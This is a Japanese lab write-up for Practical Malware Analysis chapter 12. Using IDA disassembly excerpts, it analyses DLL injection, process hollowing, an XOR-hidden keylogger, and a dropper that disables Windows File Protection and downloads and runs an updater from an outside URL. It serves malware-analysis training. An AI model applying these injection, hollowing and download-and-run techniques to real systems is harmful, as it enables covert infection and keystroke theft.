PracticalMalwareAnalysis-Labs12 WriteUp

Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab12のWriteUp。
まずは自分の解答を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。

Lab 12-1

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab12-01.exe32ビット EXEDAFBEA2A91F86BF5E52EFA3BAC3F1B16
Lab12-01.dll32ビット DLLA6FB0D8FDEA1C15AFBA7A5DDB3D2867B

1. What happens when you run the malware executable?

ポップアップウィンドウが瞬時に現れて消えた。自分の解析環境だとポップアップウィンドウが、あっという間に消えてしまってウィンドウの内容が読み取れなかったが、Lab12-01.dllのコードによると、どうやら「Press OK to reboot」というメッセージボックスを生成していた模様。

.text:1000100F 8B 4D FC                mov     ecx, [ebp+lpCaption]
.text:10001012 51                      push    ecx             ; lpCaption
.text:10001013 68 30 80 00 10          push    offset Text     ; "Press OK to reboot"
.text:10001018 6A 00                   push    0               ; hWnd
.text:1000101A FF 15 E4 70 00 10       call    ds:MessageBoxA

2. What process is being injected?

サブルーチン 0x401000にてexplorer.exeのハンドルを取得すると思しきコードを発見した。標的プロセスはexplorer.exeと思われる。以下は該当コードの抜粋。

.text:00401095 6A 0C                   push    0Ch
.text:00401097 68 30 60 40 00          push    offset aExplorerExe ; "explorer.exe"
.text:0040109C 8D 8D F8 FE FF FF       lea     ecx, [ebp+var_108]
.text:004010A2 51                      push    ecx             ; <unknown>
.text:004010A3 E8 B8 37 00 00          call    sub_404860

3. How can you make the malware stop the pop-ups?

Process Explorerでインジェクトされたプロセスを右クリックして「Kill Process Tree」を選択して、インジェクトされたプロセス及び (子プロセスがあった場合) 子プロセスをまとめて終了する。

4. How does this malware operate?

サブルーチン 0x401000にて標的プロセスのハンドルを取得したあとにVirtualAllocExで標的プロセス上に悪意のあるDLLのパス名を書き込むためのメモリ領域を確保し、WriteProcessMemoryでLab12-01.dllのフルパスを標的プロセスに書き込む。その後、標的プロセスのハンドル、LoadLibrary関数のアドレス、標的プロセス上に書き込まれたLab12-01.dllのフルパスへのポインタを引数に渡して、CreateRemoteThread関数を呼び出して標的プロセスにLab12-01.dll を読み込ませる。

  • Lab12-01.exe : 標的プロセスに悪意のあるDLL Lab12-01.dllを読み込ませるためのインジェクター
  • Lab12-01.dll : 不正コードを含んだDLL。標的プロセスにLab12-01.dllを読み込ませることで不正コードを実行する。

以下はDLLインジェクションのコードの抜粋。

.text:0040128C                         loc_40128C:             ; flProtect
.text:0040128C 6A 04                   push    4
.text:0040128E 68 00 30 00 00          push    3000h           ; flAllocationType
.text:00401293 68 04 01 00 00          push    104h            ; dwSize
.text:00401298 6A 00                   push    0               ; lpAddress
.text:0040129A 8B 95 E4 FE FF FF       mov     edx, [ebp+hProcess]
.text:004012A0 52                      push    edx             ; hProcess
.text:004012A1 FF 15 14 50 40 00       call    ds:VirtualAllocEx ; must return non-zero
.text:004012A7 89 85 D8 EE FF FF       mov     [ebp+lpBaseAddress], eax
.text:004012AD 83 BD D8 EE FF FF 00    cmp     [ebp+lpBaseAddress], 0
.text:004012B4 75 08                   jnz     short loc_4012BE
---
.text:004012BE                         loc_4012BE:             ; lpNumberOfBytesWritten
.text:004012BE 6A 00                   push    0
.text:004012C0 68 04 01 00 00          push    104h            ; nSize
.text:004012C5 8D 85 FC FE FF FF       lea     eax, [ebp+Buffer] ; current directory\Lab12-01.dll
.text:004012CB 50                      push    eax             ; lpBuffer
.text:004012CC 8B 8D D8 EE FF FF       mov     ecx, [ebp+lpBaseAddress]
.text:004012D2 51                      push    ecx             ; lpBaseAddress
.text:004012D3 8B 95 E4 FE FF FF       mov     edx, [ebp+hProcess]
.text:004012D9 52                      push    edx             ; hProcess
.text:004012DA FF 15 10 50 40 00       call    ds:WriteProcessMemory ; write fullpath to Lab12-01.dll to lpBaseAddress
.text:004012E0 68 5C 60 40 00          push    offset ModuleName ; "kernel32.dll"
.text:004012E5 FF 15 0C 50 40 00       call    ds:GetModuleHandleA
.text:004012EB 89 85 DC EE FF FF       mov     [ebp+hModule], eax
.text:004012F1 68 4C 60 40 00          push    offset aLoadlibrarya ; "LoadLibraryA"
.text:004012F6 8B 85 DC EE FF FF       mov     eax, [ebp+hModule]
.text:004012FC 50                      push    eax             ; hModule
.text:004012FD FF 15 20 50 40 00       call    ds:GetProcAddress ; get the address of LoadLibraryA
.text:00401303 89 85 CC EE FF FF       mov     [ebp+lpStartAddress], eax
.text:00401309 6A 00                   push    0               ; lpThreadId
.text:0040130B 6A 00                   push    0               ; dwCreationFlags
.text:0040130D 8B 8D D8 EE FF FF       mov     ecx, [ebp+lpBaseAddress]
.text:00401313 51                      push    ecx             ; lpParameter
.text:00401314 8B 95 CC EE FF FF       mov     edx, [ebp+lpStartAddress]
.text:0040131A 52                      push    edx             ; lpStartAddress
.text:0040131B 6A 00                   push    0               ; dwStackSize
.text:0040131D 6A 00                   push    0               ; lpThreadAttributes
.text:0040131F 8B 85 E4 FE FF FF       mov     eax, [ebp+hProcess]
.text:00401325 50                      push    eax             ; hProcess
.text:00401326 FF 15 08 50 40 00       call    ds:CreateRemoteThread ; Lab12-01.dll will be injected to target process
.text:0040132C 89 85 D0 EE FF FF       mov     [ebp+var_1130], eax
.text:00401332 83 BD D0 EE FF FF 00    cmp     [ebp+var_1130], 0
.text:00401339 75 05                   jnz     short loc_401340

Lab 12-2

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab12-02.exe32ビット EXEE2BF42217A67E46433DA8B6F4507219E

1. What is the purpose of this program?

Lab12-02.exeを実行したところ、svchost.exeを子プロセスとして生成していた。Lab12-02.exeのインポート関数を確認したところ、VirtualAllocEx、WriteProcessMemory、ReadProcessMemory、ResumeThreadなどの典型的なプロセス・インジェクションに使われる関数をインポートしていた。よってLab12-02.exeはsvchost.exeに対して何らかの不正コードを注入するものと思われる。以下はLab12-02.exeを実行した際のProcess Monitorのプロセス・ツリーのキャプチャ画面。

2. How does the launcher program hide execution?

Lab12-02.exeは自身のリソース・セクションから悪意のあるペイロードを抽出して、プロセス・ホロウイングの要領でsvchost.exeに悪意のあるペイロードを注入する。
サブルーチン0x40132Cにてリソース・セクションから悪意のあるペイロードを抽出し、サブルーチン0x4010EAにてsvchost.exeに対してプロセス・ホロウイングを行い、悪意のあるペイロードを注入する。

.text:00401513 50                      push    eax             ; lpBuffer
.text:00401514 68 30 50 40 00          push    offset aSvchostExe ; "\\svchost.exe"
.text:00401519 E8 7F FF FF FF          call    GetSystemDirectoryA_40149D
.text:0040151E 83 C4 0C                add     esp, 0Ch
.text:00401521 8B 8D F8 FB FF FF       mov     ecx, [ebp+hModule]
.text:00401527 51                      push    ecx             ; hModule
.text:00401528 E8 FF FD FF FF          call    ExtractResource_40132C
.text:0040152D 83 C4 04                add     esp, 4
.text:00401530 89 45 FC                mov     [ebp+lpAddress], eax
.text:00401533 83 7D FC 00             cmp     [ebp+lpAddress], 0
.text:00401537 74 3A                   jz      short loc_401573
---
.text:00401539 8B 55 FC                mov     edx, [ebp+lpAddress]
.text:0040153C 52                      push    edx             ; lpBuffer malicious code extracted from resource section
.text:0040153D 8D 85 FC FB FF FF       lea     eax, [ebp+ApplicationName]
.text:00401543 50                      push    eax             ; lpApplicationName svchost.exe
.text:00401544 E8 A1 FB FF FF          call    ProcessHollowing_4010EA

以下はサブルーチン0x4010EAの抜粋。まず、svchost.exeをサスペンドモードで立ち上げる。

.text:00401145 8D 55 E8                lea     edx, [ebp+ProcessInformation]
.text:00401148 52                      push    edx             ; lpProcessInformation
.text:00401149 8D 45 A4                lea     eax, [ebp+StartupInfo]
.text:0040114C 50                      push    eax             ; lpStartupInfo
.text:0040114D 6A 00                   push    0               ; lpCurrentDirectory
.text:0040114F 6A 00                   push    0               ; lpEnvironment
.text:00401151 6A 04                   push    4               ; dwCreationFlags CREATE_SUSPENDED
.text:00401153 6A 00                   push    0               ; bInheritHandles
.text:00401155 6A 00                   push    0               ; lpThreadAttributes
.text:00401157 6A 00                   push    0               ; lpProcessAttributes
.text:00401159 6A 00                   push    0               ; lpCommandLine
.text:0040115B 8B 4D 08                mov     ecx, [ebp+lpApplicationName]
.text:0040115E 51                      push    ecx             ; lpApplicationName svchost.exe
.text:0040115F FF 15 38 40 40 00       call    ds:CreateProcessA

続いてNtUnmapViewOfSectionのアドレスを取得する。NtUnmapViewOfSectionは後にsvchost.exeのプロセス・メモリ領域をアンマップ(空っぽ)するのに使う。

.text:004011D7 68 40 50 40 00          push    offset ProcName ; "NtUnmapViewOfSection"
.text:004011DC 68 58 50 40 00          push    offset ModuleName ; "ntdll.dll"
.text:004011E1 FF 15 2C 40 40 00       call    ds:GetModuleHandleA
.text:004011E7 50                      push    eax             ; hModule
.text:004011E8 FF 15 28 40 40 00       call    ds:GetProcAddress
.text:004011EE 89 45 9C                mov     [ebp+var_64], eax ; address of NtUnmapViewOfSection will be stored to var_64
.text:004011F1 83 7D 9C 00             cmp     [ebp+var_64], 0
.text:004011F5 75 07                   jnz     short loc_4011FE

NtUnmapViewOfSectionを呼び出してsvchost.exeのプロセス・メモリ領域をアンマップし、VirtualAllocExでsvchost.exeに悪意のあるペイロードを書き込むためのメモリ領域を確保する。

.text:004011FE 8B 45 94                mov     eax, [ebp+Buffer]
.text:00401201 50                      push    eax
.text:00401202 8B 4D E8                mov     ecx, [ebp+ProcessInformation.hProcess]
.text:00401205 51                      push    ecx
.text:00401206 FF 55 9C                call    [ebp+var_64]    ; NtUnmapViewOfSection
.text:00401209 6A 40                   push    40h             ; flProtect
.text:0040120B 68 00 30 00 00          push    3000h           ; flAllocationType
.text:00401210 8B 55 F8                mov     edx, [ebp+var_8]
.text:00401213 8B 42 50                mov     eax, [edx+50h]
.text:00401216 50                      push    eax             ; dwSize
.text:00401217 8B 4D F8                mov     ecx, [ebp+var_8]
.text:0040121A 8B 51 34                mov     edx, [ecx+34h]
.text:0040121D 52                      push    edx             ; lpAddress
.text:0040121E 8B 45 E8                mov     eax, [ebp+ProcessInformation.hProcess]
.text:00401221 50                      push    eax             ; hProcess
.text:00401222 FF 15 24 40 40 00       call    ds:VirtualAllocEx
.text:00401228 89 45 98                mov     [ebp+lpBaseAddress], eax
.text:0040122B 83 7D 98 00             cmp     [ebp+lpBaseAddress], 0

WriteProcessMemoryでsvchost.exeに悪意のあるペイロードを書き込み、ResumeThreadでsvchost.exeをサスペンド・モードから実行状態に移す。

.text:004012B9 6A 00                   push    0
.text:004012BB 6A 04                   push    4               ; nSize
.text:004012BD 8B 55 F8                mov     edx, [ebp+var_8]
.text:004012C0 83 C2 34                add     edx, 34h
.text:004012C3 52                      push    edx             ; lpBuffer
.text:004012C4 8B 45 A0                mov     eax, [ebp+lpContext]
.text:004012C7 8B 88 A4 00 00 00       mov     ecx, [eax+0A4h]
.text:004012CD 83 C1 08                add     ecx, 8
.text:004012D0 51                      push    ecx             ; lpBaseAddress
.text:004012D1 8B 55 E8                mov     edx, [ebp+ProcessInformation.hProcess]
.text:004012D4 52                      push    edx             ; hProcess
.text:004012D5 FF 15 20 40 40 00       call    ds:WriteProcessMemory
.text:004012DB 8B 45 F8                mov     eax, [ebp+var_8]
.text:004012DE 8B 4D 98                mov     ecx, [ebp+lpBaseAddress]
.text:004012E1 03 48 28                add     ecx, [eax+28h]
.text:004012E4 8B 55 A0                mov     edx, [ebp+lpContext]
.text:004012E7 89 8A B0 00 00 00       mov     [edx+0B0h], ecx
.text:004012ED 8B 45 A0                mov     eax, [ebp+lpContext]
.text:004012F0 50                      push    eax             ; lpContext
.text:004012F1 8B 4D EC                mov     ecx, [ebp+ProcessInformation.hThread]
.text:004012F4 51                      push    ecx             ; hThread
.text:004012F5 FF 15 1C 40 40 00       call    ds:SetThreadContext
.text:004012FB 8B 55 EC                mov     edx, [ebp+ProcessInformation.hThread]
.text:004012FE 52                      push    edx             ; hThread
.text:004012FF FF 15 18 40 40 00       call    ds:ResumeThread

3. Where is the malicious payload stored?

Lab12-02.exeのリソースセクションに悪意のあるペイロードが保持されている。

4. How is the malicious payload protected?

上述した悪意のあるペイロードはXOR暗号化された状態でリソースセクションに保持されている。

0x41でXOR演算すると32ビット EXEファイル (MD5ハッシュ値: A7F21E412022554D187D6A876A3C08AC)に復号される。

抽出したEXEファイルを解析したところ、キーロガーと判明した。ユーザーの入力した打鍵情報をpracticalmalwareanalysis.logというファイルに保存する。

5. How are strings protected?

Lab12-02.exeとキーロガーにflossをかけてみたが、上述したXOR暗号化されたペイロード以外に暗号化された文字列は見当たらなかった。

Lab 12-3

解析対象のファイルは以下の通り。(Lab 12-2で抽出したキーロガーと同一のファイル)

ファイル名ファイルの種類MD5ハッシュ値
Lab12-03.exe32ビット EXEA7F21E412022554D187D6A876A3C08AC

1. What is the purpose of this malware payload?

Lab12-03.exeはキーロガーと判明した。ユーザーの入力した打鍵情報をpracticalmalwareanalysis.logというファイルに保存する。以下はキーロギングのコードの抜粋。

.text:004010CD C7 45 FC 00 00 00 00    mov     [ebp+NumberOfBytesWritten], 0
.text:004010D4 6A 00                   push    0               ; hTemplateFile
.text:004010D6 68 80 00 00 00          push    80h             ; dwFlagsAndAttributes
.text:004010DB 6A 04                   push    4               ; dwCreationDisposition
.text:004010DD 6A 00                   push    0               ; lpSecurityAttributes
.text:004010DF 6A 02                   push    2               ; dwShareMode
.text:004010E1 68 00 00 00 40          push    40000000h       ; dwDesiredAccess
.text:004010E6 68 54 50 40 00          push    offset FileName ; "practicalmalwareanalysis.log"
.text:004010EB FF 15 14 40 40 00       call    ds:CreateFileA
.text:004010F1 89 45 F8                mov     [ebp+hFile], eax
.text:004010F4 83 7D F8 FF             cmp     [ebp+hFile], 0FFFFFFFFh
---
.text:00401265                         loc_401265:             ; jumptable 00401226 case 5
.text:00401265 6A 00                   push    0
.text:00401267 8D 4D FC                lea     ecx, [ebp+NumberOfBytesWritten]
.text:0040126A 51                      push    ecx             ; lpNumberOfBytesWritten
.text:0040126B 6A 08                   push    8               ; nNumberOfBytesToWrite
.text:0040126D 68 80 50 40 00          push    offset aEnter   ; "\n[ENTER]"
.text:00401272 8B 55 F8                mov     edx, [ebp+hFile]
.text:00401275 52                      push    edx             ; hFile
.text:00401276 FF 15 0C 40 40 00       call    ds:WriteFile
.text:0040127C E9 AB 01 00 00          jmp     loc_40142C      ; jumptable 00401226 default case

Lab12-03.exeを実行した結果、practicalmalwareanalysis.logというファイルがカレントディレクトリに作成された。ファイルには打鍵情報と入力先のウィンドウ名が記録されていた。

2. How does the malicious payload inject itself?

Lab12-03.exe自体には自身をインジェクトする機能はない。Lab12-02.exeがリソースセクションからLab12-03.exeのペイロードを抽出・復号した後、プロセスホロウイングの要領でsvchost.exeにLab12-03.exeのペイロードを注入する。

3. What filesystem residue does this program create?

practicalmalwareanalysis.logというファイルをカレントディレクトリに作成する。

Lab 12-4

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab12-04.exe32ビット EXE56BED8249E7C2982A90E54E1E55391A2

1. What does the code at 0x401000 accomplish?

サブルーチン 0x401000は引数に渡されたプロセスのPIDのハンドルをOpenProcessで取得し、そのハンドルがwinlogon.exeと一致するか確認する。一致する場合は戻り値として1をEAXに格納する。以下はコードの抜粋。

.text:0040106D 8B 55 08                mov     edx, [ebp+dwProcessId]
.text:00401070 52                      push    edx             ; dwProcessId
.text:00401071 6A 00                   push    0               ; bInheritHandle
.text:00401073 68 10 04 00 00          push    410h            ; dwDesiredAccess
.text:00401078 FF 15 44 20 40 00       call    ds:OpenProcess
.text:0040107E 89 45 FC                mov     [ebp+hObject], eax
.text:00401081 83 7D FC 00             cmp     [ebp+hObject], 0
.text:00401085 74 3B                   jz      short loc_4010C2
---
.text:004010C5 50                      push    eax             ; Str2 winlogon.exe
.text:004010C6 8D 8D E8 FE FF FF       lea     ecx, [ebp+Str1]
.text:004010CC 51                      push    ecx             ; Str1 <not real>
.text:004010CD FF 15 8C 20 40 00       call    ds:_stricmp
.text:004010D3 83 C4 08                add     esp, 8
.text:004010D6 85 C0                   test    eax, eax
.text:004010D8 75 11                   jnz     short loc_4010EB
---
.text:004010DA 8B 55 FC                mov     edx, [ebp+hObject]
.text:004010DD 52                      push    edx             ; hObject
.text:004010DE FF 15 48 20 40 00       call    ds:CloseHandle
.text:004010E4 B8 01 00 00 00          mov     eax, 1
.text:004010E9 EB 0C                   jmp     short loc_4010F7

デバッガでstricmpにブレークポイントをセットして実行したところwinlogon.exeという文字列との比較を行っていた。

2. Which process has code injected?

winlogon.exeにDLLがインジェクションされる。サブルーチン 0x401174でDLLインジェクションが行われる。

.text:004014E4 8B 8D CC ED FF FF       mov     ecx, [ebp+var_1234]
.text:004014EA 51                      push    ecx             ; dwProcessId winlogon.exe
.text:004014EB E8 84 FC FF FF          call    DLL_Injection_401174

3. What DLL is loaded using LoadLibraryA?

Lab12-04.exeではLoadLibraryAが複数回呼び出されている。ロードされるDLLは以下のとおり。

  • psapi.dll
  • sfc_os.dll

4. What is the fourth argument passed to the CreateRemoteThread call?

CreateRemoteThreadの4つ目の引数にはsfc_os.dllのOrdinal関数名2へのポインタが渡される。以下はコードの抜粋。

.text:004011A1                         loc_4011A1:             ; lpProcName
.text:004011A1 6A 02                   push    2
.text:004011A3 68 40 30 40 00          push    offset LibFileName ; "sfc_os.dll"
.text:004011A8 FF 15 14 20 40 00       call    ds:LoadLibraryA
.text:004011AE 50                      push    eax             ; hModule
.text:004011AF FF 15 10 20 40 00       call    ds:GetProcAddress
---
.text:004011D8                         loc_4011D8:             ; lpThreadId
.text:004011D8 6A 00                   push    0
.text:004011DA 6A 00                   push    0               ; dwCreationFlags
.text:004011DC 6A 00                   push    0               ; lpParameter
.text:004011DE 8B 0D 20 31 40 00       mov     ecx, lpStartAddress
.text:004011E4 51                      push    ecx             ; lpStartAddress pointer to ordinal export 2 from sfc_os.dll
.text:004011E5 6A 00                   push    0               ; dwStackSize
.text:004011E7 6A 00                   push    0               ; lpThreadAttributes
.text:004011E9 8B 55 F8                mov     edx, [ebp+hProcess]
.text:004011EC 52                      push    edx             ; hProcess
.text:004011ED FF 15 28 20 40 00       call    ds:CreateRemoteThread

調べてみたところ、Ordinal関数名2はSfcTerminateWatcherThreadというエクスポート関数と一致する模様。この記事によるとSfcTerminateWatcherThreadはWindows File Protection (WFP)を無効化する際に使用される。WFPはWindowsのシステム関連ファイルを保護するための仕組みとのこと。winlogon.exeにsfc_os.dll読み込ませるための準備としてサブルーチン0x4010fcにてSeDebugPrivilege権限を取得していた。

.text:0040118F 68 2C 30 40 00          push    offset aSedebugprivile ; "SeDebugPrivilege"
.text:00401194 E8 63 FF FF FF          call    PrivilegeEscalation_4010FC
.text:00401199 85 C0                   test    eax, eax
.text:0040119B 74 04                   jz      short loc_4011A1
.text:00401102 8D 45 E8                lea     eax, [ebp+TokenHandle]
.text:00401105 50                      push    eax             ; TokenHandle
.text:00401106 6A 28                   push    28h             ; DesiredAccess
.text:00401108 FF 15 40 20 40 00       call    ds:GetCurrentProcess
.text:0040110E 50                      push    eax             ; ProcessHandle
.text:0040110F FF 15 00 20 40 00       call    ds:OpenProcessToken
.text:00401115 85 C0                   test    eax, eax
.text:00401117 75 07                   jnz     short loc_401120
---
.text:00401120 C7 45 F0 01 00 00 00    mov     [ebp+NewState.PrivilegeCount], 1
.text:00401127 C7 45 FC 02 00 00 00    mov     [ebp+NewState.Privileges.Attributes], 2
.text:0040112E 8D 4D F4                lea     ecx, [ebp+NewState.Privileges]
.text:00401131 51                      push    ecx             ; lpLuid
.text:00401132 8B 55 08                mov     edx, [ebp+lpName]
.text:00401135 52                      push    edx             ; lpName
.text:00401136 6A 00                   push    0               ; lpSystemName
.text:00401138 FF 15 04 20 40 00       call    ds:LookupPrivilegeValueA
.text:0040113E 85 C0                   test    eax, eax
.text:00401140 75 11                   jnz     short loc_401153
---
.text:00401153 6A 00                   push    0
.text:00401155 6A 00                   push    0               ; PreviousState
.text:00401157 6A 00                   push    0               ; BufferLength
.text:00401159 8D 4D F0                lea     ecx, [ebp+NewState]
.text:0040115C 51                      push    ecx             ; NewState
.text:0040115D 6A 00                   push    0               ; DisableAllPrivileges
.text:0040115F 8B 55 E8                mov     edx, [ebp+TokenHandle]
.text:00401162 52                      push    edx             ; TokenHandle
.text:00401163 FF 15 08 20 40 00       call    ds:AdjustTokenPrivileges

ちなみにsfc_os.dllの所在は以下の通り

  • C:\Windows\System32\sfc_os.dll (64ビット・バージョン)
  • C:\Windows\SysWOW64\sfc_os.dll (32ビット・バージョン)

5. What malware is dropped by the main executable?

Lab12-04.exeは、まず既存のC:\windows\system32\wupdmgr.exeというファイルをwinup.exeに改名して一時ディレクトリに移動させる。

.text:00401506 68 0E 01 00 00          push    10Eh            ; uSize
.text:0040150B 8D 95 DC FD FF FF       lea     edx, [ebp+Buffer]
.text:00401511 52                      push    edx             ; lpBuffer
.text:00401512 FF 15 34 20 40 00       call    ds:GetWindowsDirectoryA
.text:00401518 68 D4 30 40 00          push    offset aSystem32Wupdmg_0 ; "\\system32\\wupdmgr.exe"
.text:0040151D 8D 85 DC FD FF FF       lea     eax, [ebp+Buffer]
.text:00401523 50                      push    eax
.text:00401524 68 EC 30 40 00          push    offset aSS_0    ; "%s%s"
.text:00401529 68 0E 01 00 00          push    10Eh            ; Count
.text:0040152E 8D 8D A8 EB FF FF       lea     ecx, [ebp+Dest]
.text:00401534 51                      push    ecx             ; Dest
.text:00401535 FF 15 54 20 40 00       call    ds:_snprintf
.text:0040153B 83 C4 14                add     esp, 14h
.text:0040153E 8D 95 F0 FE FF FF       lea     edx, [ebp+var_110]
.text:00401544 52                      push    edx             ; lpBuffer
.text:00401545 68 0E 01 00 00          push    10Eh            ; nBufferLength
.text:0040154A FF 15 3C 20 40 00       call    ds:GetTempPathA
.text:00401550 68 F4 30 40 00          push    offset aWinupExe ; "\\winup.exe"
.text:00401555 8D 85 F0 FE FF FF       lea     eax, [ebp+var_110]
.text:0040155B 50                      push    eax
.text:0040155C 68 00 31 40 00          push    offset aSS_1    ; "%s%s"
.text:00401561 68 0E 01 00 00          push    10Eh            ; Count
.text:00401566 8D 8D B8 EC FF FF       lea     ecx, [ebp+NewFileName]
.text:0040156C 51                      push    ecx             ; Dest
.text:0040156D FF 15 54 20 40 00       call    ds:_snprintf
.text:00401573 83 C4 14                add     esp, 14h
.text:00401576 8D 95 B8 EC FF FF       lea     edx, [ebp+NewFileName]
.text:0040157C 52                      push    edx             ; lpNewFileName %temp%winup.exe
.text:0040157D 8D 85 A8 EB FF FF       lea     eax, [ebp+Dest]
.text:00401583 50                      push    eax             ; lpExistingFileName C:\windows\system32\wupdmgr.exe
.text:00401584 FF 15 38 20 40 00       call    ds:MoveFileA

続いてリソースセクションから101という名前のリソースを抽出する。101には32ビットのEXEファイル (MD5ハッシュ値: 6A95C2F88E0C09A91D69FFB98BC6FCE8) が埋め込まれている。抽出されたEXEファイルはC:\windows\system32\wupdmgr.exeとして保存される。その後、作成したwupdmgr.exeを実行する。

.text:00401273 FF 15 34 20 40 00       call    ds:GetWindowsDirectoryA
.text:00401279 68 4C 30 40 00          push    offset aSystem32Wupdmg ; "\\system32\\wupdmgr.exe"
.text:0040127E 8D 8D E4 FE FF FF       lea     ecx, [ebp+Buffer]
.text:00401284 51                      push    ecx
.text:00401285 68 64 30 40 00          push    offset Format   ; "%s%s"
.text:0040128A 68 0E 01 00 00          push    10Eh            ; Count
.text:0040128F 8D 95 CC FD FF FF       lea     edx, [ebp+Dest]
.text:00401295 52                      push    edx             ; Dest
.text:00401296 FF 15 54 20 40 00       call    ds:_snprintf
.text:0040129C 83 C4 14                add     esp, 14h
.text:0040129F 6A 00                   push    0               ; lpModuleName
.text:004012A1 FF 15 30 20 40 00       call    ds:GetModuleHandleA
.text:004012A7 89 45 F4                mov     [ebp+hModule], eax
.text:004012AA 68 6C 30 40 00          push    offset Type     ; "BIN"
.text:004012AF 68 70 30 40 00          push    offset Name     ; "#101"
.text:004012B4 8B 45 F4                mov     eax, [ebp+hModule]
.text:004012B7 50                      push    eax             ; hModule
.text:004012B8 FF 15 2C 20 40 00       call    ds:FindResourceA
.text:004012BE 89 85 DC FE FF FF       mov     [ebp+hResInfo], eax
.text:004012C4 8B 8D DC FE FF FF       mov     ecx, [ebp+hResInfo]
.text:004012CA 51                      push    ecx             ; hResInfo
.text:004012CB 8B 55 F4                mov     edx, [ebp+hModule]
.text:004012CE 52                      push    edx             ; hModule
.text:004012CF FF 15 4C 20 40 00       call    ds:LoadResource
.text:004012D5 89 45 F8                mov     [ebp+lpBuffer], eax
.text:004012D8 8B 85 DC FE FF FF       mov     eax, [ebp+hResInfo]
.text:004012DE 50                      push    eax             ; hResInfo
.text:004012DF 8B 4D F4                mov     ecx, [ebp+hModule]
.text:004012E2 51                      push    ecx             ; hModule
.text:004012E3 FF 15 24 20 40 00       call    ds:SizeofResource
.text:004012E9 89 85 E0 FE FF FF       mov     [ebp+nNumberOfBytesToWrite], eax
.text:004012EF 6A 00                   push    0               ; hTemplateFile
.text:004012F1 6A 00                   push    0               ; dwFlagsAndAttributes
.text:004012F3 6A 02                   push    2               ; dwCreationDisposition
.text:004012F5 6A 00                   push    0               ; lpSecurityAttributes
.text:004012F7 6A 01                   push    1               ; dwShareMode
.text:004012F9 68 00 00 00 40          push    40000000h       ; dwDesiredAccess
.text:004012FE 8D 95 CC FD FF FF       lea     edx, [ebp+Dest]
.text:00401304 52                      push    edx             ; lpFileName C:\windows\system32\wupdmgr.exe
.text:00401305 FF 15 20 20 40 00       call    ds:CreateFileA
.text:0040130B 89 85 C8 FD FF FF       mov     [ebp+hFile], eax
.text:00401311 6A 00                   push    0               ; lpOverlapped
.text:00401313 8D 45 FC                lea     eax, [ebp+NumberOfBytesWritten]
.text:00401316 50                      push    eax             ; lpNumberOfBytesWritten
.text:00401317 8B 8D E0 FE FF FF       mov     ecx, [ebp+nNumberOfBytesToWrite]
.text:0040131D 51                      push    ecx             ; nNumberOfBytesToWrite
.text:0040131E 8B 55 F8                mov     edx, [ebp+lpBuffer]
.text:00401321 52                      push    edx             ; lpBuffer handle to 101
.text:00401322 8B 85 C8 FD FF FF       mov     eax, [ebp+hFile]
.text:00401328 50                      push    eax             ; hFile
.text:00401329 FF 15 1C 20 40 00       call    ds:WriteFile
.text:0040132F 8B 8D C8 FD FF FF       mov     ecx, [ebp+hFile]
.text:00401335 51                      push    ecx             ; hObject
.text:00401336 FF 15 48 20 40 00       call    ds:CloseHandle
.text:0040133C 6A 00                   push    0               ; uCmdShow
.text:0040133E 8D 95 CC FD FF FF       lea     edx, [ebp+Dest]
.text:00401344 52                      push    edx             ; lpCmdLine
.text:00401345 FF 15 18 20 40 00       call    ds:WinExec      ; execute C:\windows\system32\wupdmgr.exe

wupdmgr.exeの機能は以下の通り。

  • 一時ディレクトリに保存されているwinup.exeを実行する
  • URL http://www.practicalmalwareanalysis[.]com/updater.exeからファイルをダウンロードしてC:\windows\system32\wupdmgrd.exeとして保存する
  • 保存したC:\windows\system32\wupdmgrd.exeを実行する
.text:00401076 50                      push    eax             ; lpBuffer
.text:00401077 68 0E 01 00 00          push    10Eh            ; nBufferLength
.text:0040107C FF 15 04 20 40 00       call    ds:GetTempPathA
.text:00401082 68 10 30 40 00          push    offset aWinupExe ; "\\winup.exe"
.text:00401087 8D 8D E0 FD FF FF       lea     ecx, [ebp+Buffer]
.text:0040108D 51                      push    ecx
.text:0040108E 68 1C 30 40 00          push    offset Format   ; "%s%s"
.text:00401093 68 0E 01 00 00          push    10Eh            ; Count
.text:00401098 8D 95 F0 FE FF FF       lea     edx, [ebp+Dest]
.text:0040109E 52                      push    edx             ; Dest
.text:0040109F FF 15 14 20 40 00       call    ds:_snprintf
.text:004010A5 83 C4 14                add     esp, 14h
.text:004010A8 6A 05                   push    5               ; uCmdShow
.text:004010AA 8D 85 F0 FE FF FF       lea     eax, [ebp+Dest]
.text:004010B0 50                      push    eax             ; lpCmdLine %temp%winup.exe
.text:004010B1 FF 15 00 20 40 00       call    ds:WinExec
.text:004010B7 68 0E 01 00 00          push    10Eh            ; uSize
.text:004010BC 8D 8D D0 FC FF FF       lea     ecx, [ebp+var_330]
.text:004010C2 51                      push    ecx             ; lpBuffer
.text:004010C3 FF 15 08 20 40 00       call    ds:GetWindowsDirectoryA
.text:004010C9 68 24 30 40 00          push    offset aSystem32Wupdmg ; "\\system32\\wupdmgrd.exe"
.text:004010CE 8D 95 D0 FC FF FF       lea     edx, [ebp+var_330]
.text:004010D4 52                      push    edx
.text:004010D5 68 3C 30 40 00          push    offset aSS_0    ; "%s%s"
.text:004010DA 68 0E 01 00 00          push    10Eh            ; Count
.text:004010DF 8D 85 C0 FB FF FF       lea     eax, [ebp+CmdLine]
.text:004010E5 50                      push    eax             ; Dest
.text:004010E6 FF 15 14 20 40 00       call    ds:_snprintf
.text:004010EC 83 C4 14                add     esp, 14h
.text:004010EF 6A 00                   push    0               ; LPBINDSTATUSCALLBACK
.text:004010F1 6A 00                   push    0               ; DWORD
.text:004010F3 8D 8D C0 FB FF FF       lea     ecx, [ebp+CmdLine]
.text:004010F9 51                      push    ecx             ; LPCSTR C:\windows\system32\wupdmgrd.exe
.text:004010FA 68 44 30 40 00          push    offset aHttpWwwPractic ; "http://www.practicalmalwareanalysis.com"...
.text:004010FF 6A 00                   push    0               ; LPUNKNOWN
.text:00401101 E8 26 00 00 00          call    URLDownloadToFileA
.text:00401115 6A 00                   push    0               ; uCmdShow
.text:00401117 8D 95 C0 FB FF FF       lea     edx, [ebp+CmdLine]
.text:0040111D 52                      push    edx             ; lpCmdLine C:\windows\system32\wupdmgrd.exe
